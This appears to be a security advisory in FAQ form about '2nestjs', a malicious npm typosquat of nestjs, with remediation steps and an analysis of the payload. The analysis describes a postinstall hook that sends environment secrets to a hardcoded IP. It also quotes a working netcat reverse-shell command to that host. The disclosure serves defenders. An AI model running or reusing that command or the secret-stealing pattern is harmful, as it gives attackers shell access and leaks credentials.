Which versions of 2nestjs are malicious?

The following npm versions of 2nestjs are flagged malicious: 0.0.1. Treat any of these as compromised.

How do I remediate 2nestjs if I installed it?

2nestjs is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed 2nestjs — how do I know if it already compromised me?

If 2nestjs was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is 2nestjs part of a known attack campaign?

Yes — 2nestjs is associated with the IN-MAL-2026-019476 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find 2nestjs across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for 2nestjs (version 0.0.1).

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall 2nestjs

What this malware does

The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes nc -e /bin/sh 84.32.22.44 9999, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded -- targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package.
